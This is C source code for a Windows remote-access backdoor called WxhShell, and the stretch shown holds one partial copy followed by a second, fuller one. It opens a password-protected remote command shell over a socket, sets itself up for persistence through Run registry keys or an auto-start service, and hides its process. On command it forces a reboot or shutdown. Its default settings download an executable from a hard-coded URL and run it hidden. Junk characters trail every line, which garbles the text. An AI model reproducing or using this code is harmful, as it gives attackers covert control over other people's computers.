    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t} i97;  
    if(Boot(SHUTDOWN)) 7&1~O#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2CWQ[u  
    else { chmJ|  
    closesocket(wsh); oz6+rM6MY  
    ExitThread(0); i:M*L< +  
    } .00=U;H%`  
    break; Jav2A6a  
    } RIEv*2_O  
  // 获取shell pEj^x[b`^  
  case 's': { pptM &Y  
    CmdShell(wsh); 4)+IO;  
    closesocket(wsh); qf`xH"$  
    ExitThread(0); `u\z!x'  
    break; :n9xH  
  } KzX ,n_`an  
  // 退出 E(!6n= qR  
  case 'x': { Z#6~N/b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C%_  
    CloseIt(wsh);  AY'?Xt  
    break; ,&&M|,NQ&s  
    } ob0 8xGj  
  // 离开 V<2fPDZ  
  case 'q': { w;@25= |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /rxltF3  
    closesocket(wsh); Wt9iL  
    WSACleanup(); (:-Jl"&R@  
    exit(1); #C1A5JE&  
    break; 'gZbNg=&[  
        } H<Kkj  
  } Yuo1'gE+  
  } ?QSx8d  
20l_ay  
  // 提示信息 CLY6 YB' R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); afF+*\xXN  
} )@bH"  
  } +#qt^NO  
^jha:d  
  return; 9c^skNbS  
} ,3]?%t0xe  
noh|/sPMD  
// shell模块句柄 :#w+?LA*  
int CmdShell(SOCKET sock) M_!u@\  
{ 7<1fKrN?GF  
STARTUPINFO si; AX!>l;  
ZeroMemory(&si,sizeof(si)); 0^}'+t,lc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dmaqXsU8q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z/0yO@_D/q  
PROCESS_INFORMATION ProcessInfo; }WO9!E(  
char cmdline[]="cmd"; ;4kx>x*H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); te;Ox!B&  
  return 0; @0ov!9]Rw-  
} &cu] vw  
*hZ~i{c,7  
// 自身启动模式 ;Lsjh#  
int StartFromService(void) GL 5^_`n  
{ i9;27tT~<  
typedef struct D#d8^U  
{ tCbr<Ug  
  DWORD ExitStatus; 0ck&kpL:9  
  DWORD PebBaseAddress; eMN+qkvH  
  DWORD AffinityMask; Wg` +u  
  DWORD BasePriority; L7Qo-  
  ULONG UniqueProcessId; ]D{c4)\7C|  
  ULONG InheritedFromUniqueProcessId; Bn1L?>G  
}   PROCESS_BASIC_INFORMATION; 2~M;L&9-  
Kunle~Ro  
PROCNTQSIP NtQueryInformationProcess; &$m=^  
J&63Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }2Cd1RnS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CO:*x,6au  
L{2b0Zh'  
  HANDLE             hProcess; U6juS/  
  PROCESS_BASIC_INFORMATION pbi; }O.LPQ0  
VR4E 2^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); : 'd76pM-  
  if(NULL == hInst ) return 0; (F,(]71Z+  
L2CW'Hd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gg}5$||^C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7MO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n5egKAgA  
qSEB}1  
  if (!NtQueryInformationProcess) return 0; 66~e~F}z  
%Lp2jyv.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MUbhEau?  
  if(!hProcess) return 0; 5;F P.{+  
FgOUe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "u(S2'DW'(  
wTTTrk  
  CloseHandle(hProcess); iN<(O7B;  
G-\<5]k]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [i(Cl}  
if(hProcess==NULL) return 0; UsLh)#}h  
"JzfL(yt  
HMODULE hMod; /&D'V_Q`*  
char procName[255]; v#<\:|XAg  
unsigned long cbNeeded; 2q"_^deI5*  
=MTj4VXh"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <#xrrRhm}  
|h^K M  
  CloseHandle(hProcess); 2f3=?YqD  
v7 8&[  
if(strstr(procName,"services")) return 1; // 以服务启动 *>e~_{F  
|x d@M-ln  
  return 0; // 注册表启动 j:HH#U  
} A$7Eo`Of  
7<EJo$-j  
// 主模块 fd?bU|I_2  
int StartWxhshell(LPSTR lpCmdLine) gI)w^7Gi  
{ <K.Bq]  
  SOCKET wsl; I:F'S#  
BOOL val=TRUE; EvwbhvA(  
  int port=0; 0=OD?48<  
  struct sockaddr_in door; E x_L!9>!  
X$Q2m{dR  
  if(wscfg.ws_autoins) Install(); B;eW/#`  
tgO+*q5B  
port=atoi(lpCmdLine); #mgA/q?A  
[zY!'cz?  
if(port<=0) port=wscfg.ws_port; @<vF]\Ce  
_/|8%])  
  WSADATA data; G$cxDGo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HG3.~ 6X  
/GsSrP_?]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^pJ0nY# c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {B@*DQv  
  door.sin_family = AF_INET; .=Pm>o/,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UUl*f!& o  
  door.sin_port = htons(port); jEZ "  
&nQRa?3,   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mYjf5  
closesocket(wsl); 5\VxXiy 0  
return 1; %z1{Kus  
} z8b _ _%Br  
+``>,O6  
  if(listen(wsl,2) == INVALID_SOCKET) { d2ohW|  
closesocket(wsl); &c20x+  
return 1;  "\`>2  
} "VV914*z  
  Wxhshell(wsl); j,}4TDWa  
  WSACleanup(); [FB&4>V/  
!\aV 0,  
return 0; rwoF}}  
q1UBKhpnH  
} --Oprl  
c+1vqbqHG  
// 以NT服务方式启动 LlU' _}>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '#H&:Htm;L  
{ {b(rm,%  
DWORD   status = 0; ?LM:RADCm  
  DWORD   specificError = 0xfffffff; h>dxBN  
]yo_wGiwY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F\JLbY{x]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +q7qK*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b 1cd&e  
  serviceStatus.dwWin32ExitCode     = 0; V{KjRSVf=  
  serviceStatus.dwServiceSpecificExitCode = 0; K~USK?Q%  
  serviceStatus.dwCheckPoint       = 0; CP +4k.)*O  
  serviceStatus.dwWaitHint       = 0; Wt(Kd5k0'2  
?;Un#6b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =Qyqfy*@D?  
  if (hServiceStatusHandle==0) return; 6mwvI4)  
# 2d,U\_  
status = GetLastError(); PDhWFF  
  if (status!=NO_ERROR) r9?o$=T  
{ n-d:O\]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NNgK:YibD  
    serviceStatus.dwCheckPoint       = 0; @Eo4U]-  
    serviceStatus.dwWaitHint       = 0; kr#I{gF  
    serviceStatus.dwWin32ExitCode     = status; ~fBex_.o*  
    serviceStatus.dwServiceSpecificExitCode = specificError; j13riI3A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ cq!RgRn  
    return; GN0duV  
  } N.jA 8X  
rrAqI$6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +B#qu/By  
  serviceStatus.dwCheckPoint       = 0; gNTh% e  
  serviceStatus.dwWaitHint       = 0; 1f<RyAE?5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cu<y8 :U<  
} zFOL(s.h|0  
!Pw$48cg  
// 处理NT服务事件,比如:启动、停止 q=njKC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;:U<ce=  
{ O'OFz}x),  
switch(fdwControl) A9t8`|1"%H  
{ M</Wd{.g"  
case SERVICE_CONTROL_STOP: p/N62G  
  serviceStatus.dwWin32ExitCode = 0; o,J^ e_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {(%~i37  
  serviceStatus.dwCheckPoint   = 0; !\ZcOk2  
  serviceStatus.dwWaitHint     = 0; ( :iPm<  
  { J=@xAVBc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |f<9miNu  
  } V7BsEw  
  return; B7|c`7x(  
case SERVICE_CONTROL_PAUSE: -rO*7HO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5:$Xtq  
  break; n6/fan;  
case SERVICE_CONTROL_CONTINUE: l/M[am  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5E`JD  
  break; ZEqE$:  
case SERVICE_CONTROL_INTERROGATE: u7[pLtOwN  
  break; $]1qbE+  
}; A0OB$OK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )L >Q;'  
} ?&6Q%IUW1  
T!(sZf  
// 标准应用程序主函数 TywK\hH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ T-*/}4$  
{ ?]5Ix1  
(V!0'9c  
// 获取操作系统版本 PGkCOmq   
OsIsNt=GetOsVer(); C;ptir1G;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \ZsP]};*  
2 ^oGwx @  
  // 从命令行安装 @C=m?7O98  
  if(strpbrk(lpCmdLine,"iI")) Install(); L$kgK# T  
oK$ '9c5<  
  // 下载执行文件 *y?[ <2"$  
if(wscfg.ws_downexe) { $C$ub&D ~"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H~eGgm;p  
  WinExec(wscfg.ws_filenam,SW_HIDE); |*ReqM|_C  
} 3[.3dy7,Z  
UG #X/%p  
if(!OsIsNt) { {l@WCR  
// 如果时win9x,隐藏进程并且设置为注册表启动 n_}aZB3;U  
HideProc(); %XR<isn  
StartWxhshell(lpCmdLine); 6`Lcs  
} >O3IfS(l  
else V,vc_d?,_o  
  if(StartFromService()) Bh,Q8%\6  
  // 以服务方式启动 vbaC+AiX  
  StartServiceCtrlDispatcher(DispatchTable); oBC]UL;8xJ  
else s*.3ZS5  
  // 普通方式启动 aDh|48}X  
  StartWxhshell(lpCmdLine); i&*<lff  
50 *@.!^*  
return 0; 2 eHx"Ha  
} D?mDG|Z  
_Z$?^gn  
m@[3~ 6A  
/S[?{QA  
=========================================== - zQ<Z E  
A$:|Qd7F1  
bOb Nc  
!?b/-~o7S  
ki#bPgT  
)'t&q/Wn  
" 5D L,U(Y  
8gAu7\p}  
#include <stdio.h> ) P%4:P  
#include <string.h> E<k ^S{  
#include <windows.h> fdLBhe#9M  
#include <winsock2.h> 9(Jy0]E~  
#include <winsvc.h> R(`]n!V2  
#include <urlmon.h> gs>A=A(VYf  
gvlFumg2  
#pragma comment (lib, "Ws2_32.lib") (gU2"{:]J  
#pragma comment (lib, "urlmon.lib") ]w-.|vx  
F 3s?&T)[G  
#define MAX_USER   100 // 最大客户端连接数 Mt=R*M}D0  
#define BUF_SOCK   200 // sock buffer {[tZ.1.w  
#define KEY_BUFF   255 // 输入 buffer #Z0-8<\  
(kY@7)d'e  
#define REBOOT     0   // 重启 9DPb|+O-  
#define SHUTDOWN   1   // 关机 %N1"* </q  
djGs~H>;U_  
#define DEF_PORT   5000 // 监听端口 cWM:  
5NFRPGYX  
#define REG_LEN     16   // 注册表键长度 a%*_2#  
#define SVC_LEN     80   // NT服务名长度 -K^41W71  
tgB=vIw?3  
// 从dll定义API +99Bi2H}o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -;/ Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p#=;)1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \447]<u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sG1BNb_  
x,uBJ  
// wxhshell配置信息 _#vGs:-x&  
struct WSCFG { `2e_ L  
  int ws_port;         // 监听端口 g}Mi9Kp  
  char ws_passstr[REG_LEN]; // 口令 +A\V)  
  int ws_autoins;       // 安装标记, 1=yes 0=no N<n8'XDdG  
  char ws_regname[REG_LEN]; // 注册表键名 bw5T2wYZ  
  char ws_svcname[REG_LEN]; // 服务名 U(Z!J6{c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cm410=b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =f `=@]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TzY *;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KSsWjF}d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NWaO_sm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z'ao[CG  
7_%2xewV|  
}; LD_M 3 P  
/ao<A\KR  
// default Wxhshell configuration 7 Kjj?~RA  
struct WSCFG wscfg={DEF_PORT, %"+4 D,'l  
    "xuhuanlingzhe", yzg9I  
    1, y!hi"!  
    "Wxhshell", LuL$v+`  
    "Wxhshell", q)k{W>O  
            "WxhShell Service", OfJd/D  
    "Wrsky Windows CmdShell Service", jzMg'z/@J  
    "Please Input Your Password: ", `)2[ST  
  1, [S)G$JW  
  "http://www.wrsky.com/wxhshell.exe", u GAh7Sop  
  "Wxhshell.exe" dQK`sLChv  
    }; O{u[+g  
!t% Q{`p  
// 消息定义模块 qK,V$l(4#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1!1DuQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wHWma)}-z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H0+:XF\M  
char *msg_ws_ext="\n\rExit."; q0g1E Jar  
char *msg_ws_end="\n\rQuit."; eo ?Oir)  
char *msg_ws_boot="\n\rReboot..."; B/G3T u uG  
char *msg_ws_poff="\n\rShutdown..."; <p/MyqZf  
char *msg_ws_down="\n\rSave to "; M?R!n$N_  
J^h'9iQpi  
char *msg_ws_err="\n\rErr!"; FR["e1<0  
char *msg_ws_ok="\n\rOK!"; \ j:AR4  
xG w?'\  
char ExeFile[MAX_PATH]; & +]x;K  
int nUser = 0; B\/7^{i5  
HANDLE handles[MAX_USER]; o X@nP?\  
int OsIsNt; N3Z@cp  
yf?W^{^|  
SERVICE_STATUS       serviceStatus; ^}hZ'<PK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]) =H  
m3luhGn  
// 函数声明 AA2ui%  
int Install(void); y{92Lym  
int Uninstall(void); bM5CDzH(#X  
int DownloadFile(char *sURL, SOCKET wsh); lz}llLb1  
int Boot(int flag); Pa[?L:E  
void HideProc(void); p+)C$2YK  
int GetOsVer(void); #@E(<Pu4`  
int Wxhshell(SOCKET wsl); 2m_H*1 HJ  
void TalkWithClient(void *cs); 0mVuD\#=!  
int CmdShell(SOCKET sock); mt I MW9  
int StartFromService(void); 0Nt%YP  
int StartWxhshell(LPSTR lpCmdLine); .*:h9AE7vo  
|,{+;:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8m|x#*5fQl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *W%'Di  
y qkX:jt  
// 数据结构和表定义 7PA=)a\  
SERVICE_TABLE_ENTRY DispatchTable[] = "*t6t4/Q  
{ A6Q c;v+  
{wscfg.ws_svcname, NTServiceMain}, JSRg?p\  
{NULL, NULL} v4D!7 t&v"  
}; s.KOBNCFa  
0JyqCb l  
// 自我安装 I:HV6_/^-G  
int Install(void) @ct#s:t  
{ 2]3G1idB  
  char svExeFile[MAX_PATH]; ;M-,HK4=  
  HKEY key; j C9<hLt  
  strcpy(svExeFile,ExeFile); WSS(Bm|B  
sSV^5  
// 如果是win9x系统,修改注册表设为自启动 4rm87/u*0  
if(!OsIsNt) { )%BT*)x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X~%IM1+L;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yx!n*+:J  
  RegCloseKey(key); s<,"Hsh^CR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QU,?}w'?d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %uW<  
  RegCloseKey(key); R@&?i=gk  
  return 0; }-dF+m:  
    } v|>BDN@,6  
  } }FZp 840  
} g&P9UW>qS  
else { -: C[P  
[RW, {A  
// 如果是NT以上系统,安装为系统服务 F=V oFmF@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \wTW?>o Z  
if (schSCManager!=0) so'eZ"A:  
{ 9 #:ue@)  
  SC_HANDLE schService = CreateService q4 $sc_0i  
  ( NXi ,5  
  schSCManager, IN>TsTo  
  wscfg.ws_svcname, N]*!8  
  wscfg.ws_svcdisp, Re{ej  
  SERVICE_ALL_ACCESS, ^,>}%1\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f}A^]6MO:  
  SERVICE_AUTO_START, _4O[[~  
  SERVICE_ERROR_NORMAL, ID&zY;f  
  svExeFile, X=\x&Wt  
  NULL, {<"[D([  
  NULL, Mg&HRE  
  NULL, }WoX9M; 1  
  NULL, 8`6 LMQ  
  NULL xR _DY'z  
  ); RR8U Cv  
  if (schService!=0) 3EO#EYAHiM  
  { Q:rT 9&G  
  CloseServiceHandle(schService); Xp.|.)Od  
  CloseServiceHandle(schSCManager); j_hjCQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oA[2)BU  
  strcat(svExeFile,wscfg.ws_svcname); - f+CyhR"*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k#BU7Exij  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (]o FB$  
  RegCloseKey(key); Af$0 o=".  
  return 0; Ed4_<:  
    } 5QNBB|X@  
  } =xl7vHn7  
  CloseServiceHandle(schSCManager); ?NQD#  
} 6CCZda@  
} +HYN$>  
N <ja6Ac  
return 1; x[zKtX  
} 54bF) <+  
Q^\{Zg)p  
// 自我卸载 `;R|V  
int Uninstall(void) <ihhV e  
{ Gt?!E6^ !  
  HKEY key; f45x%tha%  
tPQ2kEW  
if(!OsIsNt) { PsacXZNs\N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <1v{[F_  
  RegDeleteValue(key,wscfg.ws_regname); 'Wd3`4V$  
  RegCloseKey(key); ikeJDKSG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @?(nwj~ s`  
  RegDeleteValue(key,wscfg.ws_regname); + ?[ ACZF  
  RegCloseKey(key); QJb7U5:B+  
  return 0; `1}HWLBX.  
  } # r2$ZCo3o  
} m/SJ4op$  
} ,%& LG],6  
else { Aigcq38  
"0p +SZ~D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HE8'N=0  
if (schSCManager!=0) *)2x&~T*|  
{ "'Q$.sR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); })h'""i&xn  
  if (schService!=0) `<. 7?  
  { `\4RFr$  
  if(DeleteService(schService)!=0) { btJ,dpir  
  CloseServiceHandle(schService); N4[ B:n  
  CloseServiceHandle(schSCManager); ayB=|*Q"  
  return 0; _:/Cl9~  
  } \3J+OY  
  CloseServiceHandle(schService); g6tWU  
  } f]O5V$!RuE  
  CloseServiceHandle(schSCManager); Te{aB"B  
} ^R&_}bp  
} <T4 7kLI  
1mvu3}ewx  
return 1; w-{#6/<kI5  
} /@xr[=L  
hnM9-hqm  
// 从指定url下载文件 !xJLeQFJI]  
int DownloadFile(char *sURL, SOCKET wsh) !;BZ#tF&  
{ |:J*>"sq  
  HRESULT hr; Iqe=#hUFe!  
char seps[]= "/"; 0jl:Yzo&\  
char *token; 6z%&A]6k:  
char *file; N?Z+zN&P  
char myURL[MAX_PATH]; U~JG1#z6  
char myFILE[MAX_PATH]; >n@>h$]  
3M`hn4)K  
strcpy(myURL,sURL); uaZ"x& oZ#  
  token=strtok(myURL,seps); ru(?a~lF8~  
  while(token!=NULL) q329z>  
  { L~SrI{aYPf  
    file=token; ,Yiq$Z{qQ  
  token=strtok(NULL,seps); U>3%!83kF  
  } *;V2_fWJ@  
3\+[38 _  
GetCurrentDirectory(MAX_PATH,myFILE); VdjU2d  
strcat(myFILE, "\\"); Cz$H k;3\6  
strcat(myFILE, file); J%O[@jX1  
  send(wsh,myFILE,strlen(myFILE),0); wd2P/y42;;  
send(wsh,"...",3,0); W? 6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Bob#Tf ~  
  if(hr==S_OK) kOlI?wc  
return 0; P5ESrZ@f  
else VygXhh^7\  
return 1; c DEe?WS  
~I8"l@H>  
} q^T&A[hMPx  
ID{Pzmt-  
// 系统电源模块 8O;rp(N.n  
int Boot(int flag) }SJLBy0  
{ .aAw7LW  
  HANDLE hToken; "=v J }  
  TOKEN_PRIVILEGES tkp; <W^XSk  
=_H*fhXS  
  if(OsIsNt) { ux/[d6To  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A+bu bH,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2=Vkjh-  
    tkp.PrivilegeCount = 1; uV*f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >k&lGF<nl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eW }jS/g`  
if(flag==REBOOT) { JXI+k.fi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~$TE  
  return 0; gw}7%U`T9  
} zN 729wK  
else { 6{F S /+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w$<fSe7  
  return 0; ?6.KS  
} u0 'pR# m|  
  } .-1{,o/&Q  
  else { !MG>z\:  
if(flag==REBOOT) { L{o >D"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >> 8KL`l  
  return 0; .ON$vn7  
} ;MdK3c  
else { q}7Df!<|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e4NX\tCpw  
  return 0; {KQ-Ce-6  
} dM@k(9|  
} yU&g|MV_  
szM=U$jKq  
return 1; U mx  
} Z({`9+/>u  
m= beB\=  
// win9x进程隐藏模块 _QtQPK\+  
void HideProc(void) [7 Kj$PB3  
{ gWU(uBS  
5GWM )vrZg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d9e H}#OY  
  if ( hKernel != NULL ) JwG5#CFu^  
  { e^l+ #^fR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N4GIb 6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uzn))/"  
    FreeLibrary(hKernel); /EAQ.vxI  
  } l8n[8AT1  
]qP}\+:  
return; ?RjKP3P  
} %~v76;H<  
bMK'J  
// 获取操作系统版本 MdTd$ 4J3  
int GetOsVer(void) )*QTxN  
{  "lnk  
  OSVERSIONINFO winfo; + 1%^c(3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =jd=Qs IL  
  GetVersionEx(&winfo); pa> 2JF*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1_E3DXe  
  return 1; :92a34  
  else ~4 xBa:*z  
  return 0; (k HQKQmq  
} YI(OrR;V  
H fmMf^c  
// 客户端句柄模块 BrH`:Dw  
int Wxhshell(SOCKET wsl) }Us$y0W\  
{ @snLE?g j  
  SOCKET wsh; x`|tT%q@l  
  struct sockaddr_in client; J$ih|nP  
  DWORD myID; +`vZg^_c`  
qZ]VS/5A  
  while(nUser<MAX_USER) / )u,Oa  
{ Q8/0Cb/  
  int nSize=sizeof(client); D@vvy6>~s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `\FjO"  
  if(wsh==INVALID_SOCKET) return 1; o5G"J"vxe  
s$y#Ufz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !iz vY  
if(handles[nUser]==0) g1!L. On  
  closesocket(wsh); 9p'J(`  
else ny? m&;^r:  
  nUser++; IF?B`TmZ  
  } 3*23+}^G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7~9f rW<K  
)aA9z(x  
  return 0; *L8HC8IbH  
} HkB<RsS$p_  
WatLAn+  
// 关闭 socket 5 nIlG  
void CloseIt(SOCKET wsh) qO3BQ]UF  
{ ^E?V+3mV  
closesocket(wsh); 4 AmF^H  
nUser--; jHw2Q8s|R  
ExitThread(0); A-`J!xj#/  
} =Bqa <Js  
~acK$.#  
// 客户端请求句柄 B91PlM.  
void TalkWithClient(void *cs) G+^$JN=  
{ A =#-u&l  
?{P6AF-xcf  
  SOCKET wsh=(SOCKET)cs; KcF+!;:  
  char pwd[SVC_LEN]; Q3{&'|}^2  
  char cmd[KEY_BUFF]; e(% Solkm?  
char chr[1]; 1Moh`  
int i,j; ,%G2>PBt  
LsZ!':LN  
  while (nUser < MAX_USER) { 3kQ8*S  
X35U!1Y\  
if(wscfg.ws_passstr) { 29DWRJU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;+KgujfU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]@}BdMlHp  
  //ZeroMemory(pwd,KEY_BUFF); )P+GklI{4  
      i=0; 3NZFW{u  
  while(i<SVC_LEN) {  wupD   
2 3w{h d  
  // 设置超时 cW^) $>A  
  fd_set FdRead; "fJ|DE&@<i  
  struct timeval TimeOut; &+iW:  
  FD_ZERO(&FdRead); D)Rf  
  FD_SET(wsh,&FdRead); 0lh6b3tdP  
  TimeOut.tv_sec=8; yC*BOJS  
  TimeOut.tv_usec=0; 1)r_h(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^TuEp$Z=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]+7c1MB(5  
O +}EE^*a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rw8m5U  
  pwd=chr[0]; Q31c@t  
  if(chr[0]==0xd || chr[0]==0xa) { oT{yttSNo  
  pwd=0; 9yAu<a  
  break; 1Sk6[h'CL  
  } Z*3}L  
  i++; 0! %}  
    } 80>!qG  
2![W N*N>O  
  // 如果是非法用户,关闭 socket &bK$!8Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rM.<Gi05Qe  
} 3m7V6##+  
5FKd{V'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {# _C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f+~!s 2uw  
eakIK+-21y  
while(1) { 4x=Y9w0?8  
DCUq.q)  
  ZeroMemory(cmd,KEY_BUFF); bj{f[nZ d  
_\;# a  
      // 自动支持客户端 telnet标准   ?tQv|x  
  j=0; rL"k-5>fd  
  while(j<KEY_BUFF) { =)5a=^ 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >iJuR.:OO  
  cmd[j]=chr[0]; i_ TdI  
  if(chr[0]==0xa || chr[0]==0xd) { [i#Gqx>'w  
  cmd[j]=0; }"k(kH  
  break; HNT8~s.2  
  } e/\_F+jyc  
  j++; r0bPaAKw  
    } T bWZw  
>vy+U  
  // 下载文件 1e} 3L2rC  
  if(strstr(cmd,"http://")) { [ Ulo; #P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X+@,vCC  
  if(DownloadFile(cmd,wsh)) ^`?> Huu<w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 83*k.]S`  
  else LdUpVO8)l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^SCWT\E  
